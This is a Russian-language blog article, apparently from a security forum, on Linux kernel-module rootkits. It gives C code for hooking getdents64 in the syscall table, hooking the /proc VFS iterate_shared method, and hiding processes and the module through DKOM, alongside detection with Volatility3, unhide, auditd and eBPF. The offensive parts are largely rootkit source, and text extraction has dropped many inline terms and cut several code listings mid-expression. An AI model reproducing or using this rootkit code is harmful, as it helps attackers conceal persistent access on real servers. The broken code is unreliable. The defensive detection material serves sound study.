Загрузили вредоносный модуль ядра в ring 0 - и всё, между вами и железом пусто. SELinux, AppArmor, антивирус в userland - всё это работает этажом выше и тупо не видит, что творится внутри ядра. Kernel rootkit на Linux - один из самых опасных инструментов в арсенале атакующего (полная классификация всех типов руткитов и матрица их обнаружения - в
обзоре техник руткитов с картой противодействия), и одновременно одна из самых недооценённых угроз в русскоязычном сообществе. Мало кто копает эту тему на уровне кода, а зря.
Здесь разберу три ключевые техники LKM-руткитов: перехват syscall table, модификацию VFS для сокрытия файлов и манипуляции с процессами через DKOM. Каждый блок - рабочий код на C, объяснение «почему именно так», а рядом взгляд с позиции защитника: что оставляет артефакты, что видит Volatility и где
бессилен.
Зачем пентестеру разбираться в руткитах ядра
В red team-операциях kernel rootkit linux - инструмент последней мили. Вы уже получили root, закрепились в системе, и теперь задача - остаться незамеченным максимально долго. Userland-руткиты через
обнаруживаются тривиально - достаточно мониторить
и переменные окружения. А вот LKM-руткит, сидящий в kernel space, перехватывает системные вызовы до того, как информация дойдёт до любого инструмента в userland. Разница - как между подслушиванием за дверью и контролем самого коммутатора.
По классификации MITRE ATT&CK руткиты ядра покрывают сразу несколько тактик:
- T1014 (Defense Evasion) - основная функция: сокрытие следов
- T1547.006 (Persistence / Privilege Escalation) - доставка через загрузку модуля
- T1574 (Persistence / Privilege Escalation / Defense Evasion) - перехват потока выполнения. Для userland это LD_PRELOAD, DLL side-loading и прочее, а kernel-level hooking (syscall table, VFS) точнее всего покрывается T1014. Историческая справка: техника T1179 Hooking отозвана в ATT&CK v8 (октябрь 2020) и частично поглощена T1574 и T1056 (Input Capture), но kernel-level hooking в T1574 явно не описан
По данным Elastic Security Labs, даже тривиальная модификация бинарника руткита - добавление одного нулевого байта - значительно роняет процент обнаружения статическими сигнатурами на VirusTotal. Полагаться на файловые индикаторы нельзя: единственный надёжный сигнал - поведение руткита в runtime.
Подготовка лабораторной среды
Прежде чем лезть в код - настройте безопасную среду. Никогда не грузите экспериментальные модули ядра на хостовую машину. Лично я для таких вещей держу отдельную QEMU-виртуалку без сетевого моста.
Bash:
Код:
# Создание виртуальной машины через QEMU/KVM
qemu-system-x86_64
\
-kernel /path/to/bzImage
\
-append
"console=ttyS0 root=/dev/sda nokaslr"
\
-hda /path/to/rootfs.img
\
-m
2048
\
-nographic
\
-s -S
# GDB stub для отладки ядра
Флаг
отключает рандомизацию адресного пространства ядра - упрощает отладку.
поднимают GDB-сервер на порту 1234 и останавливают CPU до подключения отладчика. В продакшене KASLR, разумеется, включён, и для атакующего это отдельная головная боль.
Для компиляции модулей - заголовки ядра целевой версии:
Bash:
Код:
apt
install
linux-headers-
$(uname -r)
build-essential
Перехват syscall table Linux: классическая техника
Перехват syscall table - фундаментальная техника linux lkm rootkit, описанная ещё в Phrack Magazine. Идея до безобразия проста: ядро хранит массив указателей на функции-обработчики системных вызовов. Подменил указатель - и каждый вызов
или
идёт через твой код.
Поиск адреса sys_call_table
Начиная с ядра 5.7,
больше не экспортируется для модулей. Разработчики ядра сделали это специально - чтобы усложнить жизнь авторам руткитов. Ирония в том, что обходной путь через kprobes работает не хуже:
C:
Код:
#include
static
unsigned
long
*
sys_call_table
;
static
unsigned
long
lookup_name
(
const
char
*
name
)
{
struct
kprobe
kp
=
{
.
symbol_name
=
name
}
;
unsigned
long
addr
;
if
(
register_kprobe
(
&
kp
)
/* Тип оригинального обработчика */
typedef
asmlinkage
long
(
*
orig_getdents64_t
)
(
const
struct
pt_regs
*
regs
)
;
static
orig_getdents64_t orig_getdents64
;
/* Префикс для скрываемых файлов */
#define HIDE_PREFIX "rootkit_"
asmlinkage
long
hooked_getdents64
(
const
struct
pt_regs
*
regs
)
{
struct
linux_dirent64
__user
*
dirent
;
struct
linux_dirent64
*
current_dir
,
*
prev_dir
=
NULL
;
struct
linux_dirent64
*
kdirent
;
long
ret
;
unsigned
long
offset
=
0
;
/* Вызываем оригинальный обработчик */
ret
=
orig_getdents64
(
regs
)
;
if
(
ret
si == rsi на x86_64; в ядрах 6.1+ поле может называться иначе -
проверьте arch/x86/include/asm/ptrace.h для вашей версии */
dirent
=
(
struct
linux_dirent64
__user
*
)
regs
->
si
;
/* Копируем результат в kernel space для модификации */
kdirent
=
kzalloc
(
ret
,
GFP_KERNEL
)
;
if
(
!
kdirent
)
return
ret
;
if
(
copy_from_user
(
kdirent
,
dirent
,
ret
)
)
{
kfree
(
kdirent
)
;
return
ret
;
}
/* Итерируем по записям, удаляя скрываемые */
current_dir
=
kdirent
;
while
(
offset
d_name
,
HIDE_PREFIX
,
strlen
(
HIDE_PREFIX
)
)
==
0
)
{
/* Сдвигаем оставшиеся записи поверх текущей */
long
reclen
=
current_dir
->
d_reclen
;
memmove
(
current_dir
,
(
char
*
)
current_dir
+
reclen
,
ret
-
offset
-
reclen
)
;
ret
-=
reclen
;
continue
;
}
offset
+=
current_dir
->
d_reclen
;
prev_dir
=
current_dir
;
current_dir
=
(
void
*
)
current_dir
+
current_dir
->
d_reclen
;
}
if
(
copy_to_user
(
dirent
,
kdirent
,
ret
)
)
{
kfree
(
kdirent
)
;
return
ret
;
/* fallback: оригинальный результат уже в userspace от первого вызова */
}
kfree
(
kdirent
)
;
return
ret
;
}
Установка хука - в
:
C:
Код:
static
int
__init
rootkit_init
(
void
)
{
sys_call_table
=
(
unsigned
long
*
)
lookup_name
(
"sys_call_table"
)
;
if
(
!
sys_call_table
)
return
-
ENXIO
;
orig_getdents64
=
(
orig_getdents64_t
)
sys_call_table
[
__NR_getdents64
]
;
write_cr0_forced
(
read_cr0
(
)
&
~
0x10000
)
;
sys_call_table
[
__NR_getdents64
]
=
(
unsigned
long
)
hooked_getdents64
;
write_cr0_forced
(
read_cr0
(
)
|
0x10000
)
;
return
0
;
}
После загрузки модуля любой файл с префиксом
исчезает из вывода
,
и вообще чего угодно, что дёргает
.
тоже использует этот вызов при чтении
, так что тем же механизмом прячутся и процессы - достаточно фильтровать записи в
по PID.
Детектирование перехвата syscall table
С позиции синей команды перехват syscall table оставляет чёткий артефакт: адрес обработчика указывает за пределы текстового сегмента ядра, куда-то в регион памяти загруженного модуля. Грубо говоря - адрес «не оттуда».
Bash:
Код:
# Сравниваем адреса обработчиков с диапазоном ядра
cat
/proc/kallsyms
|
grep
sys_call_table
# Адреса должны лежать в диапазоне _stext .. _etext
cat
/proc/kallsyms
|
grep
-E
"^[0-9a-f]+ T _stext"
cat
/proc/kallsyms
|
grep
-E
"^[0-9a-f]+ T _etext"
Volatility3 с Linux-профилем проверяет целостность таблицы:
Bash:
Код:
# Проверка syscall table через volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
Плагин
сравнивает каждый адрес в
с известными символами ядра. Адрес указывает на неизвестный регион - явный индикатор компрометации.
А вот
и
работают из userland и полагаются на сигнатуры известных руткитов. Целостность syscall table в реальном времени они не проверяют. Кастомный руткит пройдёт мимо них без единого алерта.
Модификация VFS Linux: хуки на уровне файловой системы
Альтернатива грубой подмене syscall table - перехват на уровне Virtual File System. Это элегантнее и куда сложнее для детектирования: адреса в syscall table остаются чистыми.
Перехват iterate_shared в VFS
Когда userland-процесс вызывает
, ядро в итоге дёргает метод
из структуры
конкретной файловой системы. У каждой ФС (ext4, procfs, tmpfs) - своя реализация. Руткит подменяет указатель
в
для
:
C:
Код:
#include
#include
static
struct
file_operations
*
proc_fops
;
static
int
(
*
orig_iterate_shared
)
(
struct
file
*
,
struct
dir_context
*
)
;
/* Наш filldir-фильтр */
/* Обёрточная структура для per-call хранения оригинального actor,
чтобы избежать race condition при параллельных вызовах. */
struct
my_dir_context
{
struct
dir_context
ctx
;
filldir_t real_actor
;
}
;
/* Тип возврата filldir_t: bool на ядрах 6.x, int на ядрах до ~5.18.
Семантика: на 6.x true=continue, false=stop;
на
real_actor
(
ctx
,
name
,
namelen
,
offset
,
ino
,
d_type
)
;
}
static
int
hooked_iterate_shared
(
struct
file
*
file
,
struct
dir_context
*
ctx
)
{
/* Per-call обёртка: сохраняем оригинальный actor без race condition */
struct
my_dir_context
my_ctx
=
{
.
ctx
.
actor
=
my_filldir
,
.
ctx
.
pos
=
ctx
->
pos
,
.
real_actor
=
ctx
->
actor
,
}
;
int
ret
=
orig_iterate_shared
(
file
,
&
my_ctx
.
ctx
)
;
/* Синхронизируем позицию обратно в оригинальный ctx */
ctx
->
pos
=
my_ctx
.
ctx
.
pos
;
return
ret
;
}
Получение указателя на
для
:
C:
Код:
static
void
hook_proc_fops
(
void
)
{
struct
file
*
proc_filp
;
proc_filp
=
filp_open
(
"/proc"
,
O_RDONLY
,
0
)
;
if
(
IS_ERR
(
proc_filp
)
)
return
;
proc_fops
=
(
struct
file_operations
*
)
proc_filp
->
f_op
;
orig_iterate_shared
=
proc_fops
->
iterate_shared
;
/* proc_root_operations объявлена как const и лежит в .rodata -
прямая запись вызовет page fault. Используем set_memory_rw()
для модификации оригинальной структуры in-place. */
{
unsigned
long
fops_addr
=
(
unsigned
long
)
proc_fops
;
unsigned
long
aligned
=
fops_addr
&
PAGE_MASK
;
/* Снимаем RO-защиту со страницы, содержащей file_operations */
set_memory_rw
(
aligned
,
1
)
;
/* Подменяем iterate_shared в оригинальной структуре -
это глобальный эффект для всех open("/proc") */
(
(
struct
file_operations
*
)
proc_fops
)
->
iterate_shared
=
hooked_iterate_shared
;
set_memory_ro
(
aligned
,
1
)
;
}
filp_close
(
proc_filp
,
NULL
)
;
}
Ключевое преимущество: syscall table остаётся чистой, и плагины вроде
в Volatility аномалий не увидят. Детектировать VFS-хуки на порядок сложнее.
Детектирование модификации VFS
Для обнаружения VFS-хуков нужно проверять указатели в
конкретных файловых систем:
Bash:
Код:
# Volatility3: проверка модулей, которые могли подменить fops
vol3 -f memory.dump linux.check_modules.Check_modules
Сравнение адресов
для procfs, sysfs, ext4 с диапазоном легитимных модулей ядра позволяет выявить подмену. Адрес указывает в регион загруженного LKM, который не является стандартным драйвером файловой системы - аномалия.
На живой системе помогает ftrace:
Bash:
Код:
# Трассировка вызовов iterate_shared
echo
'iterate_shared'
>
/sys/kernel/tracing/set_ftrace_filter
echo
function
>
/sys/kernel/tracing/current_tracer
cat
/sys/kernel/tracing/trace_pipe
Если при чтении
в трассировке всплывает вызов из неизвестного модуля - прямой индикатор VFS-хука.
Сокрытие процессов Linux kernel через DKOM
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.
Зарегистрироваться
или
Войти
Direct Kernel Object Manipulation - техника, при которой руткит правит внутренние структуры данных ядра напрямую, без перехвата каких-либо функций. По MITRE ATT&CK - T1014 (Rootkit, Defense Evasion). Самый «тихий» подход из трёх, но и самый хрупкий.
Манипуляция task_struct
Каждый процесс в Linux - это структура
, связанная в двусвязный список. Выдернули процесс из списка - он исчез из
, но продолжает получать процессорное время (scheduler работает через другую структуру - run queue):
C:
Код:
#include
#include
static
void
hide_process
(
pid_t target_pid
)
{
struct
task_struct
*
task
;
struct
pid
*
pid_struct
;
pid_struct
=
find_get_pid
(
target_pid
)
;
if
(
!
pid_struct
)
return
;
task
=
pid_task
(
pid_struct
,
PIDTYPE_PID
)
;
if
(
!
task
)
{
put_pid
(
pid_struct
)
;
return
;
}
/* Удаляем из списка задач -
процесс исчезает из /proc и ps */
/* ВАЖНО: без tasklist_lock здесь возможен race condition
и kernel panic. В реальных руткитах (Diamorphine)
используется write_lock/unlock на tasklist_lock.
tasklist_lock не экспортируется для LKM - получаем
его адрес через lookup_name (определена выше). */
static
rwlock_t
*
tasklist_lock_ptr
;
tasklist_lock_ptr
=
(
rwlock_t
*
)
lookup_name
(
"tasklist_lock"
)
;
if
(
!
tasklist_lock_ptr
)
{
put_pid
(
pid_struct
)
;
return
;
}
unsigned
long
flags
;
write_lock_irqsave
(
tasklist_lock_ptr
,
flags
)
;
list_del_init
(
&
task
->
tasks
)
;
write_unlock_irqrestore
(
tasklist_lock_ptr
,
flags
)
;
/* Удаляем из PID namespace -
kill по PID тоже не найдёт */
/* Удаление из PID namespace зависит от версии ядра.
pid_links появилось в ~4.19, до этого - pids[].node.
На 6.x+ структура может отличаться - проверяйте sched.h. */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,19,0)
hlist_del_init
(
&
task
->
pid_links
[
PIDTYPE_PID
]
)
;
#else
hlist_del_init
(
&
task
->
pids
[
PIDTYPE_PID
]
.
node
)
;
#endif
put_pid
(
pid_struct
)
;
}
После
процесс с PID 1337 пропадает из
,
перестаёт существовать,
возвращает ошибку. При этом процесс продолжает работать. Магия.
Но техника опасная: если скрытый процесс упадёт, ядро попытается удалить его из списка, в котором его уже нет. Результат - kernel panic. В реальных руткитах (Diamorphine, Reptile) реализации аккуратнее - с сохранением указателей для восстановления.
Сокрытие самого модуля ядра
Загруженный LKM виден через
и
. Руткит прячет себя аналогичным приёмом:
C:
Код:
static
struct
list_head
*
module_prev
;
static
void
hide_module
(
void
)
{
/* Сохраняем указатель для возможного восстановления */
module_prev
=
THIS_MODULE
->
list
.
prev
;
/* Удаляем из списка модулей */
list_del
(
&
THIS_MODULE
->
list
)
;
/* Удаляем из /sys/module/ */
kobject_del
(
&
THIS_MODULE
->
mkobj
.
kobj
)
;
}
После этого модуль не отображается в
,
и
. Но он по-прежнему занимает память в kernel space - и именно это позволяет его найти через memory forensics. Модуль как бы снял табличку с двери, но комнату-то не освободил.
Детектирование DKOM-скрытых процессов
Утилита
специально заточена под поиск скрытых процессов. Она использует несколько методов опроса:
Bash:
Код:
# Брутфорс PID-пространства
unhide-linux brute
# Сравнение /proc с /proc/pid/status для каждого PID
unhide-linux proc
# Сравнение информации из разных системных вызовов
unhide-linux sys
Принцип:
отправляет
для каждого возможного PID (или дёргает другие системные вызовы). Если процесс удалён из списка задач, но ещё живёт в планировщике, некоторые интерфейсы ядра вернут противоречивые результаты. Правда, если руткит перехватил
через syscall table -
тоже окажется обманут. Такая вот гонка вооружений.
Volatility3 обходит проблему, анализируя дамп памяти офлайн:
Bash:
Код:
# Поиск скрытых процессов через анализ памяти
vol3 -f memory.dump linux.pslist.PsList
vol3 -f memory.dump linux.pstree.PsTree
# Сравнение: pslist проходит по task_struct->tasks,
# а psscan сканирует всю память по сигнатурам task_struct
vol3 -f memory.dump linux.psscan.PsScan
Расхождение между
и
- классический индикатор DKOM.
нашёл процесс, которого нет в
- значит, его выдернули из двусвязного списка.
Анализ реальных руткитов: Diamorphine и Reptile
Посмотрим, как описанные техники работают в живых проектах, которые упоминаются в исследованиях Elastic Security Labs и Wiz.
Diamorphine
Diamorphine - один из самых известных open-source LKM-руткитов, функциональный на ядрах от 2.6 до 6.x. Его архитектура:
КомпонентТехникаАртефакты Сокрытие файловПерехват getdents/getdents64Аномалия в syscall tableСокрытие процессовФильтрация по PID в hooked getdentsРасхождение pslist/psscanСокрытие модуляlist_del из modules listПамять модуля без записи в /proc/modulesУправлениеСигнал 63 (kill -63 PID)Нестандартные сигналы в аудит-логахПовышение привилегийОбработка сигнала 64 для grant rootСмена credentials процесса
Diamorphine использует syscall table hooking через kprobes на новых ядрах. Управление - через нестандартные сигналы:
делает процесс невидимым,
выдаёт root-shell. Элегантно и просто - никаких сетевых бэкдоров, всё через стандартный
.
Reptile
Reptile - руткит посерьёзнее, с полноценной бэкдор-функциональностью. Помимо стандартного набора (сокрытие файлов, процессов, модуля) он включает:
- Перехват сетевого трафика для активации magic-пакетом
- Встроенный reverse shell
- Хуки на уровне VFS для procfs и sysfs
По данным Elastic Security Labs, Reptile остаётся функциональным на многих дистрибутивах - «modern variant featuring backdoor capabilities». На одном из проектов я видел его модификацию с кастомным magic-пакетом на нестандартном протоколе. Обнаружили только через аномалию в memory dump.
Linux rootkit обнаружение: комплексная методология
Ни один инструмент не ловит все типы руткитов. Эффективное linux rootkit детектирование требует многоуровневого подхода - от быстрых проверок на живой системе до полноценного memory forensics.
Уровень 1: проверка целостности на живой системе
Bash:
Код:
# rkhunter - сигнатурный анализ
rkhunter --check --skip-keypress
# chkrootkit - альтернативный сигнатурный сканер
chkrootkit -q
# Проверка tainted-флага ядра
cat
/proc/sys/kernel/tainted
# Значение != 0 означает загрузку стороннего модуля
Ограничение: оба инструмента работают из userland. Если руткит перехватил системные вызовы, которыми пользуются эти утилиты, результат будет подделан. Тактика T1562.001 (Disable or Modify Tools, Defense Evasion) как раз про это.
Уровень 2: поведенческий анализ
Bash:
Код:
# Проверка доступных функций для трассировки
cat
/sys/kernel/tracing/available_filter_functions
|
wc
-l
# Резкое изменение числа может указывать на фильтрацию
# Мониторинг загрузки модулей через auditd
auditctl -a always,exit -F
arch
=
b64 -S init_module
\
-S finit_module -k kernel_module_load
# Поиск аномалий в dmesg
dmesg
|
grep
-i
"tainted\|module\|insmod"
При загрузке любого стороннего модуля ядро пишет сообщение в ring buffer (
). Руткит может его вычистить, но если настроен
с отправкой на удалённый сервер - лог уже ушёл. Поэтому централизованный сбор логов - не роскошь, а необходимость.
Уровень 3: офлайн-анализ памяти
Единственный по-настоящему надёжный метод - снять дамп памяти и анализировать вне скомпрометированной системы:
Bash:
Код:
# Снятие дампа через LiME (Linux Memory Extractor)
insmod lime.ko
"path=/tmp/memory.dump format=lime"
# Анализ через Volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
vol3 -f memory.dump linux.check_modules.Check_modules
vol3 -f memory.dump linux.hidden_modules.Hidden_modules
vol3 -f memory.dump linux.tty_check.tty_check
Плагин
Код:
linux.hidden_modules
ищет именно те модули, которые удалили себя из
через
, но остались в памяти. Покрывает описанную выше технику сокрытия модуля.
Уровень 4: eBPF-мониторинг в реальном времени
Современный подход к linux rootkit защите - eBPF для мониторинга критических операций ядра в реальном времени:
Bash:
Код:
# Мониторинг загрузки модулей через bpftrace
bpftrace -e
'kprobe:do_init_module {
printf("Module loaded: %s by PID %d (%s)\n",
str(((struct module *)arg0)->name),
pid, comm);
}'
# Мониторинг сокрытия модулей (list_del - inline, kprobe на неё невозможен)
bpftrace -e
'kprobe:kobject_del {
printf("kobject_del called from %s (PID %d)\n", comm, pid);
}'
По данным Elastic Security Labs, eBPF-руткиты сами используют эту подсистему для атаки, но она же - мощный инструмент защиты. Условие одно: eBPF-программы мониторинга должны быть загружены до компрометации. Кто первый встал - того и тапки.
Практический чек-лист: пошаговая проверка системы
Конкретная последовательность действий для проверки Linux-сервера на наличие kernel rootkit:
Шаг 1. Проверьте tainted-флаг ядра:
Код:
cat /proc/sys/kernel/tainted
. Ненулевое значение - повод копать дальше.
Шаг 2. Сравните список модулей из
с выводом
. Расхождения - аномалия.
Шаг 3. Проверьте syscall table через
: адреса обработчиков должны лежать в диапазоне
..
.
Шаг 4. Запустите
Код:
unhide-linux brute sys proc
для поиска скрытых процессов.
Шаг 5. Снимите дамп памяти через LiME и проанализируйте офлайн через Volatility3 с плагинами
,
,
.
Шаг 6. Проверьте аудит-логи на предмет вызовов
/
- это единственные системные вызовы для загрузки модулей.
Защита от загрузки вредоносных модулей
Превентивные меры эффективнее обнаружения постфактум. Вот что реально работает:
МераЧто защищаетОграниченияSecure Boot + подпись модулейЗапрещает загрузку неподписанных LKMТребует инфраструктуры PKI
Код:
kernel.modules_disabled=1
(sysctl)Полностью блокирует загрузку модулейНельзя загрузить легитимные драйверыSELinux/AppArmor в enforcingОграничивает
Сложная настройка политикSeccomp-профили в контейнерахБлокирует
,
Только для контейнерных средLockdown LSM (integrity mode)Запрещает доступ к
, kprobesДоступен с ядра 5.4+
Самая радикальная мера - компиляция ядра без поддержки загружаемых модулей (
). Полностью закрывает вектор LKM-руткитов, но делает систему негибкой. На практике я видел такой подход на honeypot-серверах и в специализированных аплайнсах - там это оправдано.
Заключение
Kernel rootkit linux - не академическая страшилка, а рабочий инструмент в таргетированных атаках на серверную инфраструктуру. Три техники - перехват syscall table, модификация VFS и DKOM - покрывают сокрытие файлов, процессов, сетевых соединений и самого руткита.
Для пентестера понимание этих техник на уровне кода нужно в двух направлениях: persistence в red team-сценариях и оценка того, насколько инфраструктура готова к такому уровню атаки. Для защитника - знание внутренностей руткитов объясняет, почему нельзя доверять userland-инструментам на скомпрометированной системе и почему memory forensics через Volatility3 остаётся единственным надёжным методом.
Ядро не лжёт - но руткит заставляет его лгать всем, кто спрашивает. Единственный способ увидеть правду - смотреть на память напрямую. Попробуйте собрать Diamorphine в лабораторной VM из раздела про подготовку среды, загрузить его и прогнать все шесть шагов чек-листа. Посмотрите, на каком шаге вы его поймаете - и на каких он пройдёт незамеченным.